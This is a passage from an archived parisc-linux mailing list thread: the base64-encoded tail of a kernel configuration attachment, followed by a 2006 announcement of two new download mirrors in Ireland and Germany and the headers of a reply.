UFVUIGlzIG5vdCBzZXQKIyBDT05GSUdfSFBfU0RDX1JUQyBpcyBub3Qgc2V0CgojCiMgSGFy
ZHdhcmUgSS9PIHBvcnRzCiMKQ09ORklHX1NFUklPPXkKIyBDT05GSUdfU0VSSU9fU0VSUE9S
VCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFUklPX1BBUktCRCBpcyBub3Qgc2V0CkNPTkZJR19T
RVJJT19HU0NQUzI9eQojIENPTkZJR19IUF9TREMgaXMgbm90IHNldAojIENPTkZJR19TRVJJ
T19SQVcgaXMgbm90IHNldAojIENPTkZJR19HQU1FUE9SVCBpcyBub3Qgc2V0CgojCiMgQ2hh
cmFjdGVyIGRldmljZXMKIwpDT05GSUdfVlQ9eQpDT05GSUdfVlRfQ09OU09MRT15CkNPTkZJ
R19IV19DT05TT0xFPXkKIyBDT05GSUdfU0VSSUFMX05PTlNUQU5EQVJEIGlzIG5vdCBzZXQK
CiMKIyBTZXJpYWwgZHJpdmVycwojCkNPTkZJR19TRVJJQUxfODI1MD15CkNPTkZJR19TRVJJ
QUxfODI1MF9DT05TT0xFPXkKQ09ORklHX1NFUklBTF84MjUwX05SX1VBUlRTPTEzCkNPTkZJ
R19TRVJJQUxfODI1MF9SVU5USU1FX1VBUlRTPTQKQ09ORklHX1NFUklBTF84MjUwX0VYVEVO
REVEPXkKQ09ORklHX1NFUklBTF84MjUwX01BTllfUE9SVFM9eQpDT05GSUdfU0VSSUFMXzgy
NTBfU0hBUkVfSVJRPXkKIyBDT05GSUdfU0VSSUFMXzgyNTBfREVURUNUX0lSUSBpcyBub3Qg
c2V0CiMgQ09ORklHX1NFUklBTF84MjUwX1JTQSBpcyBub3Qgc2V0CiMgQ09ORklHX1NFUklB
TF84MjUwX0ZPVVJQT1JUIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VSSUFMXzgyNTBfQUNDRU5U
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0VSSUFMXzgyNTBfQk9DQSBpcyBub3Qgc2V0CiMgQ09O
RklHX1NFUklBTF84MjUwX0hVQjYgaXMgbm90IHNldAoKIwojIE5vbi04MjUwIHNlcmlhbCBw
b3J0IHN1cHBvcnQKIwpDT05GSUdfU0VSSUFMX01VWD15CkNPTkZJR19TRVJJQUxfTVVYX0NP
TlNPTEU9eQpDT05GSUdfU0VSSUFMX0NPUkU9eQpDT05GSUdfU0VSSUFMX0NPUkVfQ09OU09M
RT15CkNPTkZJR19VTklYOThfUFRZUz15CkNPTkZJR19MRUdBQ1lfUFRZUz15CkNPTkZJR19M
RUdBQ1lfUFRZX0NPVU5UPTI1NgpDT05GSUdfUFJJTlRFUj15CiMgQ09ORklHX0xQX0NPTlNP
TEUgaXMgbm90IHNldAojIENPTkZJR19QUERFViBpcyBub3Qgc2V0CiMgQ09ORklHX1RJUEFS
IGlzIG5vdCBzZXQKCiMKIyBJUE1JCiMKIyBDT05GSUdfSVBNSV9IQU5ETEVSIGlzIG5vdCBz
ZXQKCiMKIyBXYXRjaGRvZyBDYXJkcwojCiMgQ09ORklHX1dBVENIRE9HIGlzIG5vdCBzZXQK
Q09ORklHX0dFTl9SVEM9eQojIENPTkZJR19HRU5fUlRDX1ggaXMgbm90IHNldAojIENPTkZJ
R19EVExLIGlzIG5vdCBzZXQKIyBDT05GSUdfUjM5NjQgaXMgbm90IHNldAoKIwojIEZ0YXBl
LCB0aGUgZmxvcHB5IHRhcGUgZGV2aWNlIGRyaXZlcgojCiMgQ09ORklHX1JBV19EUklWRVIg
aXMgbm90IHNldAoKIwojIFRQTSBkZXZpY2VzCiMKIyBDT05GSUdfVENHX1RQTSBpcyBub3Qg
c2V0CiMgQ09ORklHX1RFTENMT0NLIGlzIG5vdCBzZXQKCiMKIyBJMkMgc3VwcG9ydAojCiMg
Q09ORklHX0kyQyBpcyBub3Qgc2V0CgojCiMgU1BJIHN1cHBvcnQKIwojIENPTkZJR19TUEkg
aXMgbm90IHNldAojIENPTkZJR19TUElfTUFTVEVSIGlzIG5vdCBzZXQKCiMKIyBEYWxsYXMn
cyAxLXdpcmUgYnVzCiMKIyBDT05GSUdfVzEgaXMgbm90IHNldAoKIwojIEhhcmR3YXJlIE1v
bml0b3Jpbmcgc3VwcG9ydAojCkNPTkZJR19IV01PTj15CiMgQ09ORklHX0hXTU9OX1ZJRCBp
cyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfRjcxODA1RiBpcyBub3Qgc2V0CiMgQ09ORklH
X0hXTU9OX0RFQlVHX0NISVAgaXMgbm90IHNldAoKIwojIE1pc2MgZGV2aWNlcwojCgojCiMg
TXVsdGltZWRpYSBDYXBhYmlsaXRpZXMgUG9ydCBkcml2ZXJzCiMKCiMKIyBNdWx0aW1lZGlh
IGRldmljZXMKIwojIENPTkZJR19WSURFT19ERVYgaXMgbm90IHNldAoKIwojIERpZ2l0YWwg
VmlkZW8gQnJvYWRjYXN0aW5nIERldmljZXMKIwojIENPTkZJR19EVkIgaXMgbm90IHNldAoK
IwojIEdyYXBoaWNzIHN1cHBvcnQKIwpDT05GSUdfRkI9eQpDT05GSUdfRkJfQ0ZCX0ZJTExS
RUNUPXkKQ09ORklHX0ZCX0NGQl9DT1BZQVJFQT15CkNPTkZJR19GQl9DRkJfSU1BR0VCTElU
PXkKIyBDT05GSUdfRkJfTUFDTU9ERVMgaXMgbm90IHNldApDT05GSUdfRkJfTU9ERV9IRUxQ
RVJTPXkKIyBDT05GSUdfRkJfVElMRUJMSVRUSU5HIGlzIG5vdCBzZXQKQ09ORklHX0ZCX1NU
ST15CiMgQ09ORklHX0ZCX1MxRDEzWFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfVklSVFVB
TCBpcyBub3Qgc2V0CgojCiMgQ29uc29sZSBkaXNwbGF5IGRyaXZlciBzdXBwb3J0CiMKQ09O
RklHX0RVTU1ZX0NPTlNPTEU9eQpDT05GSUdfRFVNTVlfQ09OU09MRV9DT0xVTU5TPTE2MApD
T05GSUdfRFVNTVlfQ09OU09MRV9ST1dTPTY0CkNPTkZJR19GUkFNRUJVRkZFUl9DT05TT0xF
PXkKIyBDT05GSUdfRlJBTUVCVUZGRVJfQ09OU09MRV9ST1RBVElPTiBpcyBub3Qgc2V0CkNP
TkZJR19TVElfQ09OU09MRT15CiMgQ09ORklHX0ZPTlRTIGlzIG5vdCBzZXQKQ09ORklHX0ZP
TlRfOHg4PXkKQ09ORklHX0ZPTlRfOHgxNj15CgojCiMgTG9nbyBjb25maWd1cmF0aW9uCiMK
IyBDT05GSUdfTE9HTyBpcyBub3Qgc2V0CiMgQ09ORklHX0JBQ0tMSUdIVF9MQ0RfU1VQUE9S
VCBpcyBub3Qgc2V0CgojCiMgU291bmQKIwojIENPTkZJR19TT1VORCBpcyBub3Qgc2V0Cgoj
CiMgVVNCIHN1cHBvcnQKIwojIENPTkZJR19VU0JfQVJDSF9IQVNfSENEIGlzIG5vdCBzZXQK
IyBDT05GSUdfVVNCX0FSQ0hfSEFTX09IQ0kgaXMgbm90IHNldAoKIwojIE5PVEU6IFVTQl9T
VE9SQUdFIGVuYWJsZXMgU0NTSSwgYW5kICdTQ1NJIGRpc2sgc3VwcG9ydCcKIwoKIwojIFVT
QiBHYWRnZXQgU3VwcG9ydAojCiMgQ09ORklHX1VTQl9HQURHRVQgaXMgbm90IHNldAoKIwoj
IE1NQy9TRCBDYXJkIHN1cHBvcnQKIwojIENPTkZJR19NTUMgaXMgbm90IHNldAoKIwojIElu
ZmluaUJhbmQgc3VwcG9ydAojCgojCiMgRURBQyAtIGVycm9yIGRldGVjdGlvbiBhbmQgcmVw
b3J0aW5nIChSQVMpIChFWFBFUklNRU5UQUwpCiMKCiMKIyBGaWxlIHN5c3RlbXMKIwpDT05G
SUdfRVhUMl9GUz15CiMgQ09ORklHX0VYVDJfRlNfWEFUVFIgaXMgbm90IHNldAojIENPTkZJ
R19FWFQyX0ZTX1hJUCBpcyBub3Qgc2V0CkNPTkZJR19FWFQzX0ZTPXkKIyBDT05GSUdfRVhU
M19GU19YQVRUUiBpcyBub3Qgc2V0CkNPTkZJR19KQkQ9eQojIENPTkZJR19KQkRfREVCVUcg
aXMgbm90IHNldAojIENPTkZJR19SRUlTRVJGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0pG
U19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZTX1BPU0lYX0FDTCBpcyBub3Qgc2V0CiMgQ09O
RklHX1hGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX09DRlMyX0ZTIGlzIG5vdCBzZXQKIyBD
T05GSUdfTUlOSVhfRlMgaXMgbm90IHNldAojIENPTkZJR19ST01GU19GUyBpcyBub3Qgc2V0
CkNPTkZJR19JTk9USUZZPXkKIyBDT05GSUdfUVVPVEEgaXMgbm90IHNldApDT05GSUdfRE5P
VElGWT15CiMgQ09ORklHX0FVVE9GU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0FVVE9GUzRf
RlMgaXMgbm90IHNldAojIENPTkZJR19GVVNFX0ZTIGlzIG5vdCBzZXQKCiMKIyBDRC1ST00v
RFZEIEZpbGVzeXN0ZW1zCiMKQ09ORklHX0lTTzk2NjBfRlM9eQpDT05GSUdfSk9MSUVUPXkK
IyBDT05GSUdfWklTT0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfVURGX0ZTIGlzIG5vdCBzZXQK
CiMKIyBET1MvRkFUL05UIEZpbGVzeXN0ZW1zCiMKIyBDT05GSUdfTVNET1NfRlMgaXMgbm90
IHNldAojIENPTkZJR19WRkFUX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfTlRGU19GUyBpcyBu
b3Qgc2V0CgojCiMgUHNldWRvIGZpbGVzeXN0ZW1zCiMKQ09ORklHX1BST0NfRlM9eQpDT05G
SUdfUFJPQ19LQ09SRT15CkNPTkZJR19TWVNGUz15CkNPTkZJR19UTVBGUz15CiMgQ09ORklH
X0hVR0VUTEJfUEFHRSBpcyBub3Qgc2V0CkNPTkZJR19SQU1GUz15CkNPTkZJR19SRUxBWUZT
X0ZTPXkKIyBDT05GSUdfQ09ORklHRlNfRlMgaXMgbm90IHNldAoKIwojIE1pc2NlbGxhbmVv
dXMgZmlsZXN5c3RlbXMKIwojIENPTkZJR19BREZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdf
QUZGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0hGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0hGU1BMVVNfRlMgaXMgbm90IHNldAojIENPTkZJR19CRUZTX0ZTIGlzIG5vdCBzZXQKIyBD
T05GSUdfQkZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfRUZTX0ZTIGlzIG5vdCBzZXQKIyBD
T05GSUdfQ1JBTUZTIGlzIG5vdCBzZXQKIyBDT05GSUdfVlhGU19GUyBpcyBub3Qgc2V0CiMg
Q09ORklHX0hQRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19RTlg0RlNfRlMgaXMgbm90IHNl
dAojIENPTkZJR19TWVNWX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfVUZTX0ZTIGlzIG5vdCBz
ZXQKCiMKIyBOZXR3b3JrIEZpbGUgU3lzdGVtcwojCkNPTkZJR19ORlNfRlM9eQpDT05GSUdf
TkZTX1YzPXkKIyBDT05GSUdfTkZTX1YzX0FDTCBpcyBub3Qgc2V0CiMgQ09ORklHX05GU19W
NCBpcyBub3Qgc2V0CiMgQ09ORklHX05GU19ESVJFQ1RJTyBpcyBub3Qgc2V0CkNPTkZJR19O
RlNEPXkKQ09ORklHX05GU0RfVjM9eQojIENPTkZJR19ORlNEX1YzX0FDTCBpcyBub3Qgc2V0
CiMgQ09ORklHX05GU0RfVjQgaXMgbm90IHNldApDT05GSUdfTkZTRF9UQ1A9eQpDT05GSUdf
Uk9PVF9ORlM9eQpDT05GSUdfTE9DS0Q9eQpDT05GSUdfTE9DS0RfVjQ9eQpDT05GSUdfRVhQ
T1JURlM9eQpDT05GSUdfTkZTX0NPTU1PTj15CkNPTkZJR19TVU5SUEM9eQojIENPTkZJR19S
UENTRUNfR1NTX0tSQjUgaXMgbm90IHNldAojIENPTkZJR19SUENTRUNfR1NTX1NQS00zIGlz
IG5vdCBzZXQKIyBDT05GSUdfU01CX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0lGUyBpcyBu
b3Qgc2V0CiMgQ09ORklHX05DUF9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0NPREFfRlMgaXMg
bm90IHNldAojIENPTkZJR19BRlNfRlMgaXMgbm90IHNldAojIENPTkZJR185UF9GUyBpcyBu
b3Qgc2V0CgojCiMgUGFydGl0aW9uIFR5cGVzCiMKIyBDT05GSUdfUEFSVElUSU9OX0FEVkFO
Q0VEIGlzIG5vdCBzZXQKQ09ORklHX01TRE9TX1BBUlRJVElPTj15CgojCiMgTmF0aXZlIExh
bmd1YWdlIFN1cHBvcnQKIwpDT05GSUdfTkxTPXkKQ09ORklHX05MU19ERUZBVUxUPSJpc284
ODU5LTEiCiMgQ09ORklHX05MU19DT0RFUEFHRV80MzcgaXMgbm90IHNldAojIENPTkZJR19O
TFNfQ09ERVBBR0VfNzM3IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzc3NSBp
cyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NTAgaXMgbm90IHNldAojIENPTkZJ
R19OTFNfQ09ERVBBR0VfODUyIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg1
NSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NTcgaXMgbm90IHNldAojIENP
TkZJR19OTFNfQ09ERVBBR0VfODYwIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdF
Xzg2MSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NjIgaXMgbm90IHNldAoj
IENPTkZJR19OTFNfQ09ERVBBR0VfODYzIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQ
QUdFXzg2NCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NjUgaXMgbm90IHNl
dAojIENPTkZJR19OTFNfQ09ERVBBR0VfODY2IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NP
REVQQUdFXzg2OSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV85MzYgaXMgbm90
IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfOTUwIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxT
X0NPREVQQUdFXzkzMiBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV85NDkgaXMg
bm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODc0IGlzIG5vdCBzZXQKIyBDT05GSUdf
TkxTX0lTTzg4NTlfOCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV8xMjUwIGlz
IG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzEyNTEgaXMgbm90IHNldAojIENPTkZJ
R19OTFNfQVNDSUkgaXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV8xIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfMiBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084
ODU5XzMgaXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV80IGlzIG5vdCBzZXQKIyBD
T05GSUdfTkxTX0lTTzg4NTlfNSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzYg
aXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV83IGlzIG5vdCBzZXQKIyBDT05GSUdf
TkxTX0lTTzg4NTlfOSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzEzIGlzIG5v
dCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfMTQgaXMgbm90IHNldAojIENPTkZJR19OTFNf
SVNPODg1OV8xNSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19LT0k4X1IgaXMgbm90IHNldAoj
IENPTkZJR19OTFNfS09JOF9VIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX1VURjggaXMgbm90
IHNldAoKIwojIFByb2ZpbGluZyBzdXBwb3J0CiMKIyBDT05GSUdfUFJPRklMSU5HIGlzIG5v
dCBzZXQKCiMKIyBLZXJuZWwgaGFja2luZwojCiMgQ09ORklHX1BSSU5US19USU1FIGlzIG5v
dCBzZXQKQ09ORklHX01BR0lDX1NZU1JRPXkKQ09ORklHX0RFQlVHX0tFUk5FTD15CkNPTkZJ
R19MT0dfQlVGX1NISUZUPTE2CkNPTkZJR19ERVRFQ1RfU09GVExPQ0tVUD15CiMgQ09ORklH
X1NDSEVEU1RBVFMgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19TTEFCIGlzIG5vdCBzZXQK
IyBDT05GSUdfREVCVUdfTVVURVhFUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1NQSU5M
T0NLIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfU1BJTkxPQ0tfU0xFRVAgaXMgbm90IHNl
dAojIENPTkZJR19ERUJVR19LT0JKRUNUIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfSU5G
TyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX0lPUkVNQVAgaXMgbm90IHNldAojIENPTkZJ
R19ERUJVR19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1ZNIGlzIG5vdCBzZXQKQ09O
RklHX0ZPUkNFRF9JTkxJTklORz15CiMgQ09ORklHX1JDVV9UT1JUVVJFX1RFU1QgaXMgbm90
IHNldAojIENPTkZJR19ERUJVR19ST0RBVEEgaXMgbm90IHNldAoKIwojIFNlY3VyaXR5IG9w
dGlvbnMKIwojIENPTkZJR19LRVlTIGlzIG5vdCBzZXQKQ09ORklHX1NFQ1VSSVRZPXkKIyBD
T05GSUdfU0VDVVJJVFlfTkVUV09SSyBpcyBub3Qgc2V0CkNPTkZJR19TRUNVUklUWV9DQVBB
QklMSVRJRVM9eQojIENPTkZJR19TRUNVUklUWV9TRUNMVkwgaXMgbm90IHNldAoKIwojIENy
eXB0b2dyYXBoaWMgb3B0aW9ucwojCkNPTkZJR19DUllQVE89eQojIENPTkZJR19DUllQVE9f
SE1BQyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19OVUxMIGlzIG5vdCBzZXQKIyBDT05G
SUdfQ1JZUFRPX01ENCBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fTUQ1PXkKIyBDT05GSUdf
Q1JZUFRPX1NIQTEgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fU0hBMjU2IGlzIG5vdCBz
ZXQKIyBDT05GSUdfQ1JZUFRPX1NIQTUxMiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19X
UDUxMiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19UR1IxOTIgaXMgbm90IHNldAojIENP
TkZJR19DUllQVE9fREVTIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0JMT1dGSVNIIGlz
IG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1RXT0ZJU0ggaXMgbm90IHNldAojIENPTkZJR19D
UllQVE9fU0VSUEVOVCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19BRVMgaXMgbm90IHNl
dAojIENPTkZJR19DUllQVE9fQ0FTVDUgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fQ0FT
VDYgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fVEVBIGlzIG5vdCBzZXQKIyBDT05GSUdf
Q1JZUFRPX0FSQzQgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fS0hBWkFEIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQ1JZUFRPX0FOVUJJUyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19E
RUZMQVRFIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX01JQ0hBRUxfTUlDIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQ1JZUFRPX0NSQzMyQyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19U
RVNUIGlzIG5vdCBzZXQKCiMKIyBIYXJkd2FyZSBjcnlwdG8gZGV2aWNlcwojCgojCiMgTGli
cmFyeSByb3V0aW5lcwojCiMgQ09ORklHX0NSQ19DQ0lUVCBpcyBub3Qgc2V0CkNPTkZJR19D
UkMxNj1tCkNPTkZJR19DUkMzMj15CiMgQ09ORklHX0xJQkNSQzMyQyBpcyBub3Qgc2V0Cg==

--_=__=_XaM3_.1142492161.2A.591283.42.8117.52.42.007.1024389334
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1142492161.2A.591283.42.8117.52.42.007.1024389334--



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <admin@realhost.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] two new mirrors for Parisc-linux.org
Date: Thu, 16 Mar 2006 11:11:14 +0100 (CET)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0603161106230.3023-100000@mail.realhost.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624018 18527 80.91.229.3 (22 Nov 2014 02:40:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2006 08:41:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 16 Mar 2006 09:41:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11B4C7D6BB;
	Thu, 16 Mar 2006 01:41:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24522-05; Thu, 16 Mar 2006 01:41:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECAD47D6B6;
	Thu, 16 Mar 2006 01:41:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3909D7D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 01:40:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24377-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 01:40:58 -0700 (MST)
Original-Received: from mail.realhost.de (unknown [62.159.110.178])
	by free.linux.hp.com (Postfix) with ESMTP id B9AD17D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 01:40:57 -0700 (MST)
Original-Received: from localhost (admin@localhost)
	by mail.realhost.de (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP id
	k2GABEO03071 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 11:11:14 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8UFrZOp1eSEkbb6WZHQhaXN1IGRvbwAj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23459


Hi,


I have setup two mirrors for parisc-linux
     
          
Name........: parisc-linux.oss-mirror.org
Server Alias: www.ie.parisc-linux.org
IP..........: 82.195.155.78
Download....: http://parisc-linux.oss-mirror.org/dist
Location....: Dublin - Ireland      
Connection..: 100mbit
Update......: daily
Maintainer..: admin@realhost.de


Name........: parisc-linux.linux-mirror.org
Server Alias: www.de.parisc-linux.org
IP..........: 80.237.211.23
Download....: http://parisc-linux.linux-mirror.org/dist
Location....: Cologne/Koeln - Germany
Connection..: 100mbit
Update......: daily
Maintainer..: admin@vssgmbh.com

add the sites to your mirror list please or give me some info if you
don't need the mirrors

These servers are also official mirros of:

Apache Projekt (apache.oss-mirror.org, apache.linux-mirror.org)
OpenSSL        (openssl.oss-mirror.org, openssl.linux-mirror.org)
OpenSSH        (openssh.oss-mirror.org, openssh.linux-mirror.org)
GNU            ......................
and so on.

Thx
Ralf




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <admin@realhost.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] two new mirrors for Parisc-linux.org
Date: Fri, 17 Mar 2006 10:04:48 +0100 (CET)
Lines: 58
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0603170948050.9497-100000@mail.realhost.de>
References: <20060316161737.GB16771@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624019 18530 80.91.229.3 (22 Nov 2014 02:40:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2006 07:34:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 17 Mar 2006 08:34:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4A8B7D6DF;
	Fri, 17 Mar 2006 00:34:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02033-04; Fri, 17 Mar 2006 00:34:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2102D7D6D5;
	Fri, 17 Mar 2006 00:34:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC3C77D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 00:34:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01963-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 00:34:42 -0700 (MST)
Original-Received: from mail.realhost.de (unknown [62.159.110.178])
	by free.linux.hp.com (Postfix) with ESMTP id 55E1E7D6C6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 00:34:41 -0700 (MST)
